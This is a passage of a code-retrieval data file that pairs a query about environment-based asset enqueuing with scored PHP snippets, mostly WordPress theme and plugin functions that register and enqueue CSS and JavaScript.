0;\r\n\t\t\tforeach($changed as $arr){\r\n\t\t\t\t$status = $arr['name'];\r\n\t\t\t\t$num = $arr['count'];\r\n\t\t\t\techo $status.\": \".$num.\"<br/>\";\r\n\t\t\t\t$ch += $num;\r\n\t\t\t}\r\n\t\t\techo \"Не удалось обновить статус у \".($was - $ch).\" записей.\";\r\n\t\t\techo CHtml::link('OK',Yii::app() -> baseUrl.'/data');\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "c49bf77c8517f33c5b6e5214a4b83350", "score": "0.47397774", "text": "public function restored(PrexcActivity $prexcActivity)\n {\n //\n }", "title": "" } ]
23b2b087adc9ed7a550e215ed20174a0
Enqueuing assets based on our current environment Register all plugins Enqueue as required by env, grunt handles concat and min
[ { "docid": "afcd59414e8b519393a2c5cd348fd751", "score": "0.62946373", "text": "function enqueue_theme_assets() {\n\n // Env Variables\n $env = array(\n 'current' => $_SERVER['HTTP_HOST'],\n 'production' => 'bones.com',\n 'staging' => 'bones.aytoo.com'\n );\n\n // Styles\n wp_register_style( 'theme', get_stylesheet_directory_uri().'/library/css/theme.css', '', '1.0.0', 'all' );\n wp_register_style( 'application-css', get_stylesheet_directory_uri().'/library/public/application.min.css', '', '1.0.0', 'all' );\n\n // Scripts\n wp_register_script( 'modernizr', get_stylesheet_directory_uri().'/library/js/libs/modernizr.custom.min.js', '', '1.0.0', false );\n wp_register_script( 'mainjs', get_stylesheet_directory_uri().'/library/js/scripts.js', ['modernizr', 'jquery'], '1.0.0', true );\n wp_register_script( 'application-js', get_stylesheet_directory_uri().'/library/public/application.min.js', ['modernizr', 'jquery'], '1.0.0', true );\n\n\n // Enqueue based on env\n if( $env['current'] == $env['staging'] || $env['current'] == $env['production'] ) {\n wp_enqueue_script('modernizr');\n wp_enqueue_script('jquery');\n\n wp_enqueue_style('application-css');\n wp_enqueue_script('application-js');\n } else {\n wp_enqueue_script('modernizr');\n wp_enqueue_script('jquery');\n\n wp_enqueue_style('theme');\n wp_enqueue_script('mainjs');\n }\n\n}", "title": "" } ]
[ { "docid": "846a0ffa131cd14474bdc431844e055b", "score": "0.62963164", "text": "function enqueue_backend_theme_assets() {\n\t// Register Config css, js\n\tforeach( Config::$styles as $style ) {\n\t\tif ( isset( $style['admin'] ) && $style['admin'] == true ) {\n\t\t\tConfig::add_css( $style );\n\t\t}\n\t}\n\tforeach( Config::$scripts as $script ) {\n\t\tif ( isset( $script['admin'] ) && $script['admin'] == true ) {\n\t\t\tConfig::add_script( $script );\n\t\t}\n\t}\n}", "title": "" }, { "docid": "8ff3339ce8872e6e5696bb7e2d549282", "score": "0.6266158", "text": "protected function getEnqueuingScripts() { \n return array(\n array( 'src' => dirname( __FILE__ ) . '/js/jquery.gridster.js', 'dependencies' => array( 'jquery' ) ),\n array( 'src' => dirname( __FILE__ ) . '/js/gridster.custom.js', 'dependencies' => array( 'jquery' ) ),\n \n );\n }", "title": "" }, { "docid": "37c227515d0b264b995d4090022e433c", "score": "0.617268", "text": "public function enqueue_assets() {\r\n $app_assets = $this->asset_loader->getManifest( 'app' );\r\n\r\n // the code-splitting entry-point for the route corresponds to the route slug\r\n $js_entry_point = $route_id = $this->route_slug;\r\n\r\n if( isset( $app_assets[ 'wpackioEp' ][ $js_entry_point ] ) ) {\r\n\r\n $route_assets = $this->asset_loader->enqueue( 'app', $js_entry_point, [] );\r\n\r\n // pass ajax connection info and any seed data for the route's javascript app\r\n wp_localize_script(\r\n array_pop( $route_assets[ 'js' ] )[ 'handle' ],\r\n $route_id,\r\n [\r\n 'ajax_url' => admin_url( 'admin-ajax.php' ),\r\n 'action' => 'ajax_req',\r\n 'nonce' => wp_create_nonce(),\r\n // we pass in a route id for the client to use in requests, so the server\r\n // can re-instantiate the correct route to handle the response\r\n 'route' => $route_id,\r\n 'data' => $this->data_to_scripts()\r\n ]\r\n );\r\n }\r\n }", "title": "" }, { "docid": "0fa322b5c4fccfaf9ef242bf9be0a11c", "score": "0.61363107", "text": "protected function setupAssets()\n {\n $type='js';\n foreach ($this->js as $js) {\n $srcJsFiles[] = \"{$js}.{$type}\";\n $minJsFiles[] = \"{$js}.min.{$type}\";\n }\n\n $type='css';\n foreach ($this->css as $css) {\n $srcCssFiles[] = \"{$css}.{$type}\";\n $minCssFiles[] = \"{$css}.min.{$type}\";\n }\n\n $this->js = YII_DEBUG ? $srcJsFiles : $minJsFiles;\n $this->css = YII_DEBUG ? $srcCssFiles : $minCssFiles;\n }", "title": "" }, { "docid": "3b5858a78a6fc19e7c9e6ec97444d5ef", "score": "0.61054", "text": "protected function enqueueScripts(){\n\t\t$this->css = array(\n\t\t\t\t//'devrama-lazyload-images.css'\n\t\t);\n\t\t$this->js = array(\n\t\t\t\t'jquery.devrama.lazyload.min-0.9.3.js'\n\t\t);\n\t}", "title": "" }, { "docid": "a1a8a29b95184fdd2dbb0dbe7ebfda5a", "score": "0.60633874", "text": "public function enqueue_assets(){\r\n\r\n\t\twp_enqueue_style( 'jmfe-styles' );\r\n\t\twp_enqueue_style( 'jmfe-vendor-styles' );\r\n\t\twp_enqueue_script( 'jmfe-vendor-scripts' );\r\n\t\twp_enqueue_script( 'jmfe-scripts' );\r\n\r\n\t}", "title": "" }, { "docid": "89d0daf8eb6589fad1ae2950dbecdbd5", "score": "0.60445195", "text": "protected function registerAssets()\n {\n if(!app()->runningInConsole())\n {\n $assets = $cssRequired = $jsRequired = array();\n if ($this->inAdministration() === false) {\n $assets = config('resources.frontend-assets');\n $cssRequired = config('resources.frontend-required-assets.css');\n $jsRequired = config('resources.frontend-required-assets.js');\n }else\n {\n $assets = config('resources.admin-assets');\n $cssRequired = config('resources.admin-required-assets.css');\n $jsRequired = config('resources.admin-required-assets.js');\n $editor = setting('rich_editor', config('core-base.cms.editor.primary'));\n $jsRequired[] = \"{$editor}-js\";\n }\n \n foreach ($assets as $assetName => $path) {\n $path = asset_type_factory()->make($path)->url();\n asset_manager()->addAsset($assetName, $path);\n }\n asset_pipeline()->requireCss($cssRequired);\n asset_pipeline()->requireJs($jsRequired);\n }\n }", "title": "" }, { "docid": "e05cc280cb68cee64eb77c2651eb0e7d", "score": "0.60227716", "text": "protected function getEnqueuingScripts() { \n return array(\n array( 'src' => dirname( __FILE__ ) . '/js/datetimepicker-option-handler.js', ),\n );\n }", "title": "" }, { "docid": "0156f4292e1a1d4fa04265f3ae4cbbed", "score": "0.5982275", "text": "public function front_assets() {\n\t\t$css_dependencies = array( 'dashicons' );\n\t\t$js_dependencies = array( 'jquery' );\n\n\t\t/***************************************\n\t\t * Include your stylesheets here\n\t\t *\n\t\t * Sample:\n\t\t * `wp_enqueue_style( 'cad-stylesheet', $this->src . 'css/style.min.css', $css_dependencies, $this->version );`\n\t\t **************************************/\n\n\t\t/**************************************\n\t\t * Include your scripts here\n\t\t *\n\t\t * Note*: It is highly recommended to include your js before the closing </body> tag, you\n\t\t * can achieve this by setting the 6th parameter in the example below into true.\n\t\t *\n\t\t * Sample:\n\t\t * `wp_enqueue_script( 'cad-script', $this->src . 'js/script.min.js', $js_dependencies, $this->version, true );`\n\t\t *************************************/\n\t}", "title": "" }, { "docid": "07a7efe334320707ea33cd955a848831", "score": "0.5972872", "text": "public function enqueue_scripts()\n {\n \n if (!$this->is_shortcode_present()){\n return;\n }\n if ($this->is_develop_serve()) {\n return wp_enqueue_script($this->plugin_name . '_dev', 'http://localhost:2323/js/app-public.js', [], $this->version, true);\n \n }\n if ($this->is_shortcode_present()) {\n wp_enqueue_script($this->plugin_name . '_chunks', plugin_dir_url(__DIR__) . 'public/dist/js/chunk-vendors-public.js', [], $this->version, true);\n wp_enqueue_script($this->plugin_name, plugin_dir_url(__DIR__) . 'public/dist/js/app-public.js', [], $this->version, true);\n }\n \n return;\n \n \n }", "title": "" }, { "docid": "ee354ed87d0c2847efe48f599b94ff13", "score": "0.5920549", "text": "public static function register_assets() {\n\t\t$dist = self::get_dist_directory();\n\t\t$min = self::PROD ? '.min' : '';\n\n\t\twp_register_style(\n\t\t\tself::TEXT_DOMAIN,\n\t\t\t$dist . self::TEXT_DOMAIN . \"$min.css\",\n\t\t\t[],\n\t\t\tself::VERSION\n\t\t);\n\n\t\twp_register_script(\n\t\t\tself::TEXT_DOMAIN,\n\t\t\t$dist . self::TEXT_DOMAIN . \"$min.js\",\n\t\t\t[ 'wp-api' ],\n\t\t\tself::VERSION,\n\t\t\ttrue\n\t\t);\n\t}", "title": "" }, { "docid": "7bf155b7fdbd925b83dee700d4df3159", "score": "0.59193945", "text": "function enqueue_assets() {\n\t\t\n\t\t// media uploader\n\t\twp_enqueue_media();\n\n\t\t//register admin page js\n\t\twp_enqueue_script(\n\t\t\t'perception-admin-js',\n\t\t\tplugin_dir_url( __FILE__ ) . '/js/perception-admin.js',\n\t\t\tarray( 'jquery')\n\t\t);\n\t\t// register plugin stylesheet\n\t\twp_enqueue_style(\n\t\t\t'perception-admin-css',\n\t\t\tplugin_dir_url( __FILE__ ) . '/css/perception-admin.css'\n\t\t);\n\n\t}", "title": "" }, { "docid": "32c65cd847db11794422eddf5edcca19", "score": "0.59052724", "text": "function enqueue_assets() {\n\t$script_debug = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG;\n\t$suffix = $script_debug ? '' : '.min';\n\n\twp_enqueue_style(\n\t\t'wporg-style',\n\t\tget_theme_file_uri( '/css/style.css' ),\n\t\tarray( 'dashicons', 'open-sans' ),\n\t\tfilemtime( __DIR__ . '/css/style.css' )\n\t);\n\n\t$script_asset_path = dirname( __FILE__ ) . '/build/index.asset.php';\n\tif ( file_exists( $script_asset_path ) ) {\n\t\t$script_asset = require( $script_asset_path );\n\t\twp_enqueue_script(\n\t\t\t'wporg-pattern-script',\n\t\t\tget_theme_file_uri( '/build/index.js' ),\n\t\t\t$script_asset['dependencies'],\n\t\t\t$script_asset['version'],\n\t\t\ttrue\n\t\t);\n\n\t\twp_enqueue_style( 'wp-components' );\n\n\t\twp_set_script_translations( 'wporg-pattern-script', 'wporg-patterns' );\n\t}\n\n\twp_enqueue_script( 'wporg-navigation', get_template_directory_uri() . \"/js/navigation$suffix.js\", array(), '20210331', true );\n}", "title": "" }, { "docid": "3a3b6a136de8ed2ed2a27a709f6aaac3", "score": "0.5871871", "text": "public function publishAssets()\n {\n $admin_assets_root = __DIR__ . '/../../public/assets/admin';\n $admin_assets_zip = __DIR__ . '/../../public/assets/admin.zip';\n\n if (is_file($admin_assets_zip) === true) {\n recursive_rmdir($admin_assets_root);\n\n $zip = new ZipArchive();\n\n if ($zip->open($admin_assets_zip) === true) {\n $zip->extractTo($admin_assets_root);\n $zip->close();\n }\n }\n\n $publishes_cms = [\n __DIR__ . '/../../assets/cms/lib' => base_path('assets/cms/lib'),\n __DIR__ . '/../../assets/cms/web' => base_path('assets/cms/web'),\n ];\n\n $publishes_update = array_merge($publishes_cms, [\n __DIR__ . '/../../assets/src/sample-react' => base_path('assets/src/sample-react'),\n __DIR__ . '/../../assets/src/sample-tbnt' => base_path('assets/src/sample-tbnt'),\n __DIR__ . '/../../assets/src/sample-vanilla' => base_path('assets/src/sample-vanilla'),\n ]);\n\n $publishes_install = array_merge($publishes_update, [\n __DIR__ . '/../../.babelrc' => base_path('.babelrc'),\n __DIR__ . '/../../.editorconfig' => base_path('.editorconfig'),\n __DIR__ . '/../../.prettierignore' => base_path('.prettierignore'),\n __DIR__ . '/../../.prettierrc' => base_path('.prettierrc'),\n __DIR__ . '/../../package.json' => base_path('package.json'),\n __DIR__ . '/../../postcss.config.js' => base_path('postcss.config.js'),\n __DIR__ . '/../../webpack.config.js' => base_path('webpack.config.js'),\n __DIR__ . '/../../assets/cms/webpack/logo.png' => public_path('images/logo.png'),\n __DIR__ . '/../../assets/src/web' => base_path('assets/src/web'),\n __DIR__ . '/../../public/images/admin/flags' => public_path('images/admin/flags'),\n ]);\n\n if (File::exists(public_path('images/logo.png')) === false) {\n $publishes_update[__DIR__ . '/../../assets/cms/webpack/logo.png'] = public_path('images/logo.png');\n }\n\n $this->publishes(\n array_merge($publishes_install, [\n __DIR__ . '/../../public/assets/admin' => public_path('assets/admin'),\n ]),\n 'cms.assets.install'\n );\n\n $this->publishes(\n array_merge($publishes_update, [\n __DIR__ . '/../../public/assets/admin' => public_path('assets/admin'),\n ]),\n 'cms.assets.update'\n );\n\n $this->publishes(\n array_merge($publishes_install, [\n __DIR__ . '/../../assets/cms/admin' => base_path('assets/cms/admin'),\n __DIR__ . '/../../assets/src/admin' => base_path('assets/src/admin'),\n __DIR__ . '/../../assets/src/sample-admin' => base_path('assets/src/sample-admin'),\n ]),\n 'cms.assets.admin.install'\n );\n\n $this->publishes(\n array_merge($publishes_update, [\n __DIR__ . '/../../assets/cms/admin' => base_path('assets/cms/admin'),\n __DIR__ . '/../../assets/src/sample-admin' => base_path('assets/src/sample-admin'),\n ]),\n 'cms.assets.admin.update'\n );\n\n $this->publishes(\n [\n __DIR__ . '/../../public/assets/admin' => public_path('assets/admin'),\n __DIR__ . '/../../public/images/admin/flags' => public_path('images/admin/flags'),\n ],\n 'cms.assets.admin.only'\n );\n }", "title": "" }, { "docid": "b1681954cf0e44b3b7602c4cac280887", "score": "0.5827137", "text": "function office_dashboard_enqueue_assets() {\n\n\t$ver = ( get_plugin_data( __FILE__ ) )['Version'];\n\t$js_to_load = plugin_dir_url( __FILE__ ) . 'office-dashboard-app/build/static/js/main.js';\n\t$css_to_load = plugin_dir_url( __FILE__ ) . 'office-dashboard-app/build/static/css/main.css';\n\n\tif ( defined( 'ENV_DEV' ) && ENV_DEV ) {\n\t\t// DEV React dynamic loading.\n\t\t$ver = gmdate( 'Y-m-d-h-i-s' );\n\t\t$js_to_load = 'http://localhost:3000/static/js/main.js';\n\t\t$css_to_load = 'http://localhost:3000/static/css/main.css';\n\t}\n\n\t/* `wp-element` as dependency will load React and ReactDom for our app from `wp-includes` */\n\twp_enqueue_script( 'office-dashboard', $js_to_load, array( 'wp-element' ), $ver, true );\n\n\twp_enqueue_style( 'office-dashboard', $css_to_load, array(), $ver );\n\n}", "title": "" }, { "docid": "52aa7661390f64fe032dd53c6a44ac85", "score": "0.5825525", "text": "function cone_enqueue_scripts() {\n\n // WordPress style.css\n wp_enqueue_style( 'default-style', get_stylesheet_uri() );\n\n // vendor.css created with gulp\n wp_enqueue_style( 'main-min-style', get_template_directory_uri() . '/assets/css/src/main.min.css' );\n\n wp_enqueue_script( 'sharer-scripts', get_template_directory_uri() . '/assets/js/lib/sharer.min.js', array('jquery'), 1.0, true );\n\n // vendor.js created with gulp\n wp_enqueue_script( 'main-min-scripts', get_template_directory_uri() . '/assets/js/src/main.min.js', array('jquery'), 1.0, true );\n\n wp_localize_script(\n 'main-min-scripts', // this needs to match the name of our enqueued script\n 'ajaxObject', // the name of the object\n array('ajaxurl' => admin_url('admin-ajax.php')) // the property/value\n );\n}", "title": "" }, { "docid": "c04724c73ac745b33704f79728c1b37e", "score": "0.5801881", "text": "public function enqueueAdminScripts();", "title": "" }, { "docid": "5e01b10289ef70af135a24841ca1438e", "score": "0.5790454", "text": "public function beforePreparing(){\r\n //Includes the .env movement\r\n if ($this->isSymfonySubDirectory){\r\n $this->runRemote('if [ -d {{ deploy_dir }}/repo{{ relativePathToSymfonyProject }} ]; then mkdir {{ deploy_dir }}/purgatory && cp -RPp {{ deploy_dir }}/repo{{ relativePathToSymfonyProject }}/. {{ deploy_dir }}/purgatory && rm -r {{ deploy_dir }}/repo/* && rm -r {{ project_dir }}/* && cp -RPp {{ deploy_dir }}/purgatory/. {{ deploy_dir }}/repo && cp -RPp {{ deploy_dir }}/purgatory/* {{ project_dir }} && cp -RPp {{ deploy_dir }}/purgatory/.env {{ project_dir }}/ && rm -r {{ deploy_dir }}/purgatory; fi');\r\n\r\n $this->runRemote('cd {{ deploy_dir }}/repo && ls -a');\r\n $this->runRemote('ls -a');\r\n } else {\r\n $this->runRemote('cp -RPp {{ deploy_dir }}/repo/.env {{ project_dir }}/');\r\n }\r\n \r\n //Add Webpack Encore Production build for front end...\r\n if ($this->isWebPackProject){\r\n //Copy from local to repo\r\n $this->log(sprintf(\"Copying Webpack Encore Files from %s to %s/repo%s\", $this->localBuildFileToXFer, $this->DeployDir, $this->remoteRelativePathToBuildDir));\r\n $this->runRemote('mkdir -p {{ deploy_dir }}/repo{{ remoteRelativePathToBuildDir }}');\r\n $this->runLocal(sprintf(\"rsync -r -v -e 'ssh -p %s' --progress %s/* %s@%s:%s/repo%s/\", $this->SSHPort, $this->localBuildFileToXFer, $this->SSHUser, $this->SSHHost, $this->DeployDir, $this->remoteRelativePathToBuildDir));\r\n $this->log(\"rsync finished...\");\r\n $this->runRemote(sprintf('cd %s/repo%s && ls -a', $this->DeployDir, $this->remoteRelativePathToBuildDir));\r\n //Then copy it to project directory\r\n $this->runRemote('mkdir -p {{ project_dir }}{{ remoteRelativePathToBuildDir }} && cp -RPp {{ deploy_dir }}/repo{{ remoteRelativePathToBuildDir }}/* {{ project_dir }}{{ remoteRelativePathToBuildDir }}/');\r\n $this->log(\"copy from repo to project finished...\");\r\n $this->runRemote('cd {{ project_dir }}{{ remoteRelativePathToBuildDir }} && ls -a');\r\n $this->log(\"Webpack Encore files have been transfered.\");\r\n //The copy/symlink to current folder should be automatic after this.\r\n \r\n } \r\n //Add the log file directory \r\n $this->runRemote('mkdir -p {{ logDirectoryPath }}');\r\n \r\n }", "title": "" }, { "docid": "845c0fc6cc7be3f7141183891ba2b6fe", "score": "0.57872945", "text": "function MaximeM_enqueue() {\n // include the css file\n $cssFilePath = glob( get_template_directory() . '/css/build/main.min.*' );\n $cssFileURI = get_template_directory_uri() . '/css/build/' . basename($cssFilePath[0]);\n wp_enqueue_style( 'site_main_css', $cssFileURI );\n // include the javascript file\n $jsFilePath = glob( get_template_directory() . '/js/build/app.min.*.js' );\n $jsFileURI = get_template_directory_uri() . '/js/build/' . basename($jsFilePath[0]);\n wp_enqueue_script( 'site_main_js', $jsFileURI , null , null , true );\n}", "title": "" }, { "docid": "7a797e8bf952858449ee187fa09073f1", "score": "0.57858473", "text": "function gt_queue_assets() {\n\t$data = get_option(\"funder_options\");\n\t\n/*\t$body_font = ucwords($data['body_font']['face']);\n\t$headings_font = ucwords($data['headings_font']['face']);\n\t$logo_font = ucwords($data['logo_font']['face']);\n*/ \t\n \tif ( !is_admin() ) {\n \t\n \twp_enqueue_script('jquery');\n \t\n //Register Scripts (Places all jQuery dependant scripts into Footer)\n \twp_register_script('jquery-easing', get_template_directory_uri() .'/js/jquery.easing.js', 'jquery', '1.3', true);\n \twp_register_script('fancybox', get_template_directory_uri() .'/js/jquery.fancybox.min.js', 'jquery', '2.1', true);\n \twp_register_script('isotope', get_template_directory_uri() .'/js/jquery.isotope.min.js', 'jquery', '1.5', true);\n \twp_register_script('mobile-menu', get_template_directory_uri() .'/js/jquery.mobilemenu.js', 'jquery', '1.0', true);\n\t\n \twp_register_script('jquery.selectbox.min', get_template_directory_uri() .'/js/jquery.selectbox.min.js', 'jquery', '1.0', true);\n\twp_register_script('jquery', get_template_directory_uri() .'/js/jquery.js');\n\twp_register_script('bootstrap', get_template_directory_uri() .'/js/bootstrap.js', 'jquery', '1.0', true);\n\twp_register_script('jquery-uii', get_template_directory_uri() .'/js/jquery-uii.js', 'jquery', '1.0', true);\n\twp_register_script('contact', get_template_directory_uri() .'/js/contact.js', 'jquery', '1.0', true);\n\twp_register_script('jquery.colorbox', get_template_directory_uri() .'/js/jquery.colorbox.js', 'jquery', '1.0', true);\n\twp_register_script('jquery.placeholder', get_template_directory_uri() .'/js/jquery.placeholder.js', 'jquery', '1.0', true);\n\twp_register_script('jquery.nav', get_template_directory_uri() .'/js/jquery.nav.js', 'jquery', '1.0', true);\n\t\n // Register Styles\n \n \twp_register_style('style-default', get_stylesheet_directory_uri() .'/css/style.css');\n\n\tif(is_multisite()) {\n\t\t$uploads = wp_upload_dir();\n\t\twp_register_style('options', trailingslashit($uploads['baseurl']) .'options.css', 'style');\n\t} else {\n\t\twp_register_style('options', get_template_directory_uri() .'/assets/css/dynamic-css/options.css', 'style');\n\t}\n \n // Funder Main Css files \n\t\n\twp_register_style('bootstrap', get_template_directory_uri().'/css/bootstrap.css');\n wp_register_style('jquery-ui', get_template_directory_uri().'/css/jquery-ui.css');\n wp_register_style('resp', get_template_directory_uri().'/css/resp.css');\n wp_register_style('colorbox', get_template_directory_uri().'/css/colorbox.css');\n\twp_register_style('font-awesome', get_template_directory_uri().'/assets/css/font-awesome.css');\n\t\n\t//wp_enqueue_style('style');\n\twp_enqueue_style('style-default');\t\n \twp_enqueue_style('jquery-ui');\n wp_enqueue_style('colorbox');\n\twp_enqueue_style('bootstrap');\t\n\twp_enqueue_style(\"resp\");\n\twp_enqueue_style(\"font-awesome\");\n\t\n\t\n\t// Enqueue Scripts (Global)\n \twp_enqueue_script('jquery-easing');\n\twp_enqueue_script('jquery.colorbox');\n \twp_enqueue_script('fancybox');\n \twp_enqueue_script('isotope');\n \twp_enqueue_script('mobile-menu');\n wp_enqueue_script('jquery.selectbox.min');\n\twp_enqueue_script('jquery');\n\twp_enqueue_script('bootstrap');\n\twp_enqueue_script('jquery-uii');\n\twp_enqueue_script('jquery.placeholder');\n\t\n\tif (is_front_page()) {\n\t wp_enqueue_script('jquery.nav');\n\t}\n\t\n /////////////////////////////////////\n \n \t} \n}", "title": "" }, { "docid": "6ce3fe2013ced0a99b6ad580436d068c", "score": "0.57752544", "text": "public static function front_end() {\n\t\t// Note: does not load these assets, it's only for registration\n\t\tself::register_directory_glob_js( self::DIRECTORIES );\n\t\tself::register_directory_glob_css( self::DIRECTORIES );\n\n\t\tif ( 'production' === wp_get_environment_type() ) {\n\t\t\t// Enqueue limited base styles\n\t\t\twp_enqueue_style( 'base' );\n\t\t} else {\n\t\t\t// Use unique file for easy CSS reloads during development\n\t\t\twp_enqueue_style( 'base-dev', get_stylesheet_directory_uri() . '/dist/components/base-dev.css', [], '1.0' );\n\t\t}\n\t}", "title": "" }, { "docid": "52ffd1d4dd960179fff62c55c8143c1a", "score": "0.57705426", "text": "private function addAssets() {\n AssetManager::addAsset('pick-date-css', 'libs/core/base/css/date-picker/pickadate.css');\n AssetManager::addAsset('select2-css', 'libs/core/base/css/select2/select2.min.css');\n AssetManager::addAsset('customer-css', 'backend/plugins/customer/assets/css/customer.css');\n AssetManager::addAsset('legacy-js', 'libs/core/base/js/date-picker/legacy.js');\n AssetManager::addAsset('select2-js', 'libs/core/base/js/select2/select2.full.min.js');\n AssetManager::addAsset('customer-table-js', 'backend/plugins/customer/assets/js/customer-table.js');\n AssetManager::addAsset('customer-list-js', 'backend/plugins/customer/assets/js/customer-list.js');\n\n AssetPipeline::requireCss('daterangepicker-css');\n AssetPipeline::requireCss('pickadate-css');\n AssetPipeline::requireCss('cnddaterange-css');\n AssetPipeline::requireJs('pickadate-picker-js');\n AssetPipeline::requireJs('pickadate-picker-date-js');\n AssetPipeline::requireJs('daterangepicker-js');\n AssetPipeline::requireJs('datetime-js');\n\n AssetPipeline::requireCss('pick-date-css');\n AssetPipeline::requireCss('select2-css');\n AssetPipeline::requireCss('customer-css');\n AssetPipeline::requireJs('legacy-js');\n AssetPipeline::requireJs('select2-js');\n AssetPipeline::requireJs('customer-table-js');\n AssetPipeline::requireJs('customer-list-js');\n }", "title": "" }, { "docid": "3337de8aab91d4c3f994ac8638366f11", "score": "0.576764", "text": "function _themename_assets() {\n # main css bundle\n wp_enqueue_style( '_themename-main', get_template_directory_uri() . '/dist/css/bundle.css', [], null);\n\n \n # wp_enqueue_script($handle, $src, $deps, $ver, $in_footer)\n # main js bundle\n wp_enqueue_script( '_themename-main-js', get_template_directory_uri() . '/dist/js/bundle.js', [], null); \n \n\n # BOOTSTRAP 4\n wp_enqueue_style( 'bootstrap-css', 'https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css', [], null);\n wp_enqueue_script( 'popper', 'https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js', [], null); \n wp_enqueue_script( 'bootstrap-js', 'https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js', [], null); \n}", "title": "" }, { "docid": "a32daa9ce034473819d75f90f453ee50", "score": "0.5755", "text": "public static function enqueue_assets() {\n\t\t/**\n\t\t * Filters whether to enqueue this plugin's style.\n\t\t *\n\t\t * @param bool Yes or no.\n\t\t */\n\t\tif ( apply_filters( self::FILTER_NAMESPACE . 'enqueue_style', true ) ) {\n\t\t\twp_enqueue_style( self::TEXT_DOMAIN );\n\t\t}\n\n\t\t/**\n\t\t * Filters whether to enqueue this plugin's script.\n\t\t *\n\t\t * @param bool Yes or no.\n\t\t */\n\t\tif ( apply_filters( self::FILTER_NAMESPACE . 'enqueue_script', true ) ) {\n\t\t\twp_enqueue_script( self::TEXT_DOMAIN );\n\t\t}\n\t}", "title": "" }, { "docid": "04a2a0b68dd06aca9362a9111db54bce", "score": "0.57361954", "text": "public function doEnqueueScripts() {\r\n\t\t\r\n\t\t$fJsInFooter = ($this->m_oWptbOptions->getOpt( 'js_head' ) == 'Y')? false : true ;\r\n\t\t$sBootstrapOption = $this->m_oWptbOptions->getOpt( 'option' );\r\n\t\t\r\n\t\tif ( $this->isUseTwitter() && $this->m_oWptbOptions->getOpt( 'all_js' ) == 'Y' ) {\r\n\t\t\t\r\n\t\t\t$sExtension = ( $this->m_oWptbOptions->getOpt( 'use_minified_css' ) == 'Y' )? '.min.js' : '.js';\r\n\r\n\t\t\tif ( $this->m_oWptbOptions->getOpt( 'use_cdnjs' ) == 'Y' ) {\r\n\t\t\t\t//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/2.2.2/bootstrap.min.js\r\n\t\t\t\t//Since version 2.3.0, now changed to:\r\n\t\t\t\t//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/2.3.1/js/bootstrap.min.js\r\n\t\t\t\t$sUrlBootstrapJs = self::CdnjsStem.'twitter-bootstrap/%s/js/bootstrap'.$sExtension;\r\n\t\t\t\t$sUrlBootstrapJs = sprintf( $sUrlBootstrapJs, $this->getTwitterBootstrapVersion() );\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$sUrlBootstrapJs = $this->getBootstrapUrl( 'js/bootstrap'.$sExtension );\r\n\t\t\t}\r\n\r\n\t\t\tif ( $this->m_oWptbOptions->getOpt( 'replace_jquery_cdn' ) == 'Y' ) {\r\n\t\t\t\t//cdnjs.cloudflare.com/ajax/libs/jquery/1.8.3/jquery.min.js\r\n\t\t\t\t$sJqueryCdnUri = self::CdnjsStem.'jquery/'.self::CdnJqueryVersion.'/jquery'.$sExtension;\r\n\t\t\t\twp_deregister_script('jquery');\r\n\t\t\t\twp_register_script( 'jquery', $sJqueryCdnUri, '', self::CdnJqueryVersion, false );\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\twp_enqueue_script( 'jquery' );\r\n\t\t\twp_register_script( 'bootstrap-all-min', $sUrlBootstrapJs, array('jquery'), $this->m_oWptbOptions->getVersion(), $fJsInFooter );\r\n\t\t\twp_enqueue_script( 'bootstrap-all-min' );\r\n\t\t}\r\n\t\t\r\n\t\tif ( $this->m_oWptbOptions->getOpt( 'prettify' ) == 'Y' ) {\r\n\t\t\t$sUrl = $this->getJsUrl( 'google-code-prettify/prettify.js' );\r\n\t\t\twp_register_script( 'prettify_script', $sUrl, false, $this->m_oWptbOptions->getVersion(), $fJsInFooter );\r\n\t\t\twp_enqueue_script( 'prettify_script' );\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "f64b1edf6a200442caed146e8fc622f1", "score": "0.5703965", "text": "private function enqueue_admin_assets() {\n\n\t\t\tadd_action( 'admin_enqueue_scripts', function(){\n\n\t\t\t\t//Styles\n\t\t\t\twp_enqueue_style( 'uer-gtm-main-admin-styles', UER_THEME_URL.'/assets/admin/css/styles.css',array(),UER_VERSION);\n\t\t\t\t//Scripts\n\t\t\t\twp_enqueue_script( 'uer-gtm-main-admin-scripts', UER_THEME_URL.'/assets/admin/js/scripts.js',array(),UER_VERSION);\n\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "73ba8e996a3d2be0245aaf0d1fecff9e", "score": "0.56867987", "text": "public function enqueue_admin_assets()\n {\n wp_enqueue_style('amar-kaaz-admin-style');\n wp_enqueue_script('amar-kaaz-admin-script');\n }", "title": "" }, { "docid": "d3cd76abdc18c107f9f2d6e9ffa4bdca", "score": "0.56796676", "text": "public function admin_enqueue_assets() {\n\t\tif ( $this->is_bitos_page() ) {\n\t\t\twp_enqueue_style( 'bitos-admin-style', BITOTS_PLUGIN_URL . '/admin/assets/css/bitos-admin.css', [], BITOTS_VERSION_DEV );\n\t\t\twp_enqueue_script( 'bitos-admin-ajax', BITOTS_PLUGIN_URL . '/admin/assets/js/bitos-admin.js', [], BITOTS_VERSION_DEV );\n\t\t\twp_enqueue_script( 'bitos-time-mask', BITOTS_PLUGIN_URL . '/admin/assets/js/jquery.timeMask.js', [], BITOTS_VERSION_DEV );\n\t\t}\n\t}", "title": "" }, { "docid": "f68c00825ecbccd7db0dd41b3398add2", "score": "0.56651527", "text": "public function frontend_scripts() {\n\t\twp_register_style( 'wp-queue-debug-css', plugins_url( 'assets/css/main.css', static::$plugin_file ) );\n\t\twp_enqueue_style( 'wp-queue-debug-css' );\n\n\t\twp_enqueue_script( 'wp-queue-debug-js',plugins_url( 'assets/js/plugin.min.js', static::$plugin_file ), array( 'jquery' ), null, true );\n\t}", "title": "" }, { "docid": "d703da354fa102161523ab29e10ecffb", "score": "0.56649077", "text": "public function enqueue() {\n\t\t\tlist( , $url ) = RWMB_Loader::get_path( dirname( __FILE__ ) );\n\t\t\twp_enqueue_style( 